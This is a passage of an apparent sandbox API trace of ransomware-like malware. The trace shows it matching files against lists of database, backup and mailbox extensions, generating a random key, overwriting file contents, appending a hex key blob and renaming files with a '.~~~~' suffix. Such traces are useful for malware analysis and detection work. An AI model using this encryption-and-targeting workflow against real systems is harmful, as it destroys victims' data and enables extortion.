	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dbx") returned 0x0
	[0067.923] lstrlenW (lpString=".DB3") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DB3") returned 0x0
	[0067.923] lstrlenW (lpString=".DAT") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DAT") returned 0x0
	[0067.923] lstrlenW (lpString=".VHDX") returned 5
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".VHDX") returned 0x0
	[0067.923] lstrlenW (lpString=".ndf") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".ndf") returned 0x0
	[0067.923] lstrlenW (lpString=".DB") returned 3
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DB") returned 0x0
	[0067.923] lstrlenW (lpString=".sql") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".sql") returned 0x0
	[0067.923] lstrlenW (lpString=".MYD") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".MYD") returned 0x0
	[0067.923] lstrlenW (lpString=".DBT") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DBT") returned 0x0
	[0067.923] lstrlenW (lpString=".ACCDB") returned 6
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".ACCDB") returned 0x0
	[0067.923] lstrlenW (lpString=".fdb") returned 4
	[0067.923] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".fdb") returned 0x0
	[0067.924] lstrlenW (lpString=".bak") returned 4
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".bak") returned 0x0
	[0067.924] lstrlenW (lpString=".myd") returned 4
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".myd") returned 0x0
	[0067.924] lstrlenW (lpString=".DTXS") returned 5
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".DTXS") returned 0x0
	[0067.924] lstrlenW (lpString=".ckp") returned 4
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".ckp") returned 0x0
	[0067.924] lstrlenW (lpString=".dbt") returned 4
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".dbt") returned 0x0
	[0067.924] lstrlenW (lpString=".db") returned 3
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".db") returned 0x0
	[0067.924] lstrlenW (lpString=".TXT") returned 4
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".TXT") returned 0x0
	[0067.924] lstrlenW (lpString=".MDF") returned 4
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".MDF") returned 0x0
	[0067.924] lstrlenW (lpString=".bdb") returned 4
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".bdb") returned 0x0
	[0067.924] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0067.924] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0067.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0067.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0067.925] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0067.926] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0067.926] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0067.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0067.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0067.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0067.926] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18791627431) returned 1
	[0067.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x95786f10, dwHighDateTime=0x1d60e1e)) 
	[0067.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0067.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0067.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0067.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dee0
	[0067.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0067.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dee0 | out: hHeap=0x300000) returned 1
	[0067.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0067.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0067.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0067.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0067.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0067.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.927] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0067.927] GetLastError () returned 0x0
	[0067.927] SetLastError (dwErrCode=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.928] SetLastError (dwErrCode=0x0) 
	[0067.928] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.928] SetLastError (dwErrCode=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.928] SetLastError (dwErrCode=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.928] SetLastError (dwErrCode=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.928] SetLastError (dwErrCode=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.928] SetLastError (dwErrCode=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.928] SetLastError (dwErrCode=0x0) 
	[0067.928] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.929] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.929] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.929] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.929] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.929] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.929] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.929] GetLastError () returned 0x0
	[0067.929] SetLastError (dwErrCode=0x0) 
	[0067.930] GetLastError () returned 0x0
	[0067.930] SetLastError (dwErrCode=0x0) 
	[0067.930] GetLastError () returned 0x0
	[0067.930] SetLastError (dwErrCode=0x0) 
	[0067.930] GetLastError () returned 0x0
	[0067.930] SetLastError (dwErrCode=0x0) 
	[0067.930] GetLastError () returned 0x0
	[0067.930] SetLastError (dwErrCode=0x0) 
	[0067.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0067.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c04d0
	[0067.930] ReadFile (in: hFile=0x128, lpBuffer=0x3c04d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0068.071] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0068.071] WriteFile (in: hFile=0x128, lpBuffer=0x3c04d0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0068.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0068.072] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0068.072] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0068.085] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0068.085] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0068.085] CloseHandle (hObject=0x128) returned 1
	[0073.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0073.639] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.~~~~")) returned 1
	[0075.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0075.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0075.247] GetLastError () returned 0x0
	[0075.247] SetLastError (dwErrCode=0x0) 
	[0075.247] GetLastError () returned 0x0
	[0075.247] SetLastError (dwErrCode=0x0) 
	[0075.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0075.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0075.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0075.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0075.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0075.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0075.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0075.248] RtlWakeConditionVariable () returned 0x365f70
	[0075.248] GetCurrentThreadId () returned 0x9cc
	[0075.248] GetCurrentThreadId () returned 0x9cc
	[0075.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0075.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e75a0 | out: hHeap=0x300000) returned 1
	[0075.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e378 | out: hHeap=0x300000) returned 1
	[0075.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e75a0
	[0075.248] lstrlenW (lpString=".scr") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".scr") returned 0x0
	[0075.249] lstrlenW (lpString=".cmd") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".cmd") returned 0x0
	[0075.249] lstrlenW (lpString=".dll") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dll") returned 0x0
	[0075.249] lstrlenW (lpString=".bat") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".bat") returned 0x0
	[0075.249] lstrlenW (lpString=".cpl") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".cpl") returned 0x0
	[0075.249] lstrlenW (lpString=".sys") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".sys") returned 0x0
	[0075.249] lstrlenW (lpString=".msc") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".msc") returned 0x0
	[0075.249] lstrlenW (lpString=".com") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".com") returned 0x0
	[0075.249] lstrlenW (lpString=".lnk") returned 4
	[0075.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".lnk") returned 0x0
	[0075.249] lstrlenW (lpString=".msp") returned 4
	[0075.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".msp") returned 0x0
	[0075.250] lstrlenW (lpString=".pif") returned 4
	[0075.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".pif") returned 0x0
	[0075.250] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0075.250] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0075.250] lstrlenW (lpString=".sqb") returned 4
	[0075.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".sqb") returned 0x0
	[0075.250] lstrlenW (lpString=".ost") returned 4
	[0075.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".ost") returned 0x0
	[0075.251] lstrlenW (lpString=".txt") returned 4
	[0075.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".txt") returned 0x0
	[0075.251] lstrlenW (lpString=".mdt") returned 4
	[0075.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".mdt") returned 0x0
	[0075.251] lstrlenW (lpString=".BDB") returned 4
	[0075.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".BDB") returned 0x0
	[0075.251] lstrlenW (lpString=".eql") returned 4
	[0075.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".eql") returned 0x0
	[0075.251] lstrlenW (lpString=".DBF") returned 4
	[0075.251] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DBF") returned 0x0
	[0075.251] lstrlenW (lpString=".EQL") returned 4
	[0075.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".EQL") returned 0x0
	[0075.252] lstrlenW (lpString=".FDB") returned 4
	[0075.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".FDB") returned 0x0
	[0075.252] lstrlenW (lpString=".EDB") returned 4
	[0075.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".EDB") returned 0x0
	[0075.252] lstrlenW (lpString=".DACPAC") returned 7
	[0075.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DACPAC") returned 0x0
	[0075.252] lstrlenW (lpString=".VHD") returned 4
	[0075.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".VHD") returned 0x0
	[0075.252] lstrlenW (lpString=".DBV") returned 4
	[0075.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DBV") returned 0x0
	[0075.252] lstrlenW (lpString=".dacpac") returned 7
	[0075.252] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dacpac") returned 0x0
	[0075.252] lstrlenW (lpString=".sdf") returned 4
	[0075.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".sdf") returned 0x0
	[0075.253] lstrlenW (lpString=".accdb") returned 6
	[0075.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".accdb") returned 0x0
	[0075.253] lstrlenW (lpString=".DBX") returned 4
	[0075.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DBX") returned 0x0
	[0075.253] lstrlenW (lpString=".MDT") returned 4
	[0075.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".MDT") returned 0x0
	[0075.253] lstrlenW (lpString=".SQB") returned 4
	[0075.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".SQB") returned 0x0
	[0075.253] lstrlenW (lpString=".vhd") returned 4
	[0075.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".vhd") returned 0x0
	[0075.253] lstrlenW (lpString=".bac") returned 4
	[0075.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".bac") returned 0x0
	[0075.253] lstrlenW (lpString=".mdf") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".mdf") returned 0x0
	[0075.254] lstrlenW (lpString=".BAK") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".BAK") returned 0x0
	[0075.254] lstrlenW (lpString=".BAC") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".BAC") returned 0x0
	[0075.254] lstrlenW (lpString=".dbs") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dbs") returned 0x0
	[0075.254] lstrlenW (lpString=".vhdx") returned 5
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".vhdx") returned 0x0
	[0075.254] lstrlenW (lpString=".NDF") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".NDF") returned 0x0
	[0075.254] lstrlenW (lpString=".dat") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dat") returned 0x0
	[0075.254] lstrlenW (lpString=".DBS") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DBS") returned 0x0
	[0075.254] lstrlenW (lpString=".CKP") returned 4
	[0075.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".CKP") returned 0x0
	[0075.254] lstrlenW (lpString=".edb") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".edb") returned 0x0
	[0075.255] lstrlenW (lpString=".PST") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".PST") returned 0x0
	[0075.255] lstrlenW (lpString=".dbf") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dbf") returned 0x0
	[0075.255] lstrlenW (lpString=".SQL") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".SQL") returned 0x0
	[0075.255] lstrlenW (lpString=".pst") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".pst") returned 0x0
	[0075.255] lstrlenW (lpString=".dbv") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dbv") returned 0x0
	[0075.255] lstrlenW (lpString=".SDF") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".SDF") returned 0x0
	[0075.255] lstrlenW (lpString=".dtxs") returned 5
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dtxs") returned 0x0
	[0075.255] lstrlenW (lpString=".db3") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".db3") returned 0x0
	[0075.255] lstrlenW (lpString=".OST") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".OST") returned 0x0
	[0075.255] lstrlenW (lpString=".dbx") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".dbx") returned 0x0
	[0075.255] lstrlenW (lpString=".DB3") returned 4
	[0075.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab", lpSrch=".DB3") returned 0x0
	[0075.255] lstrlenW (lpString=".DAT") returned 4
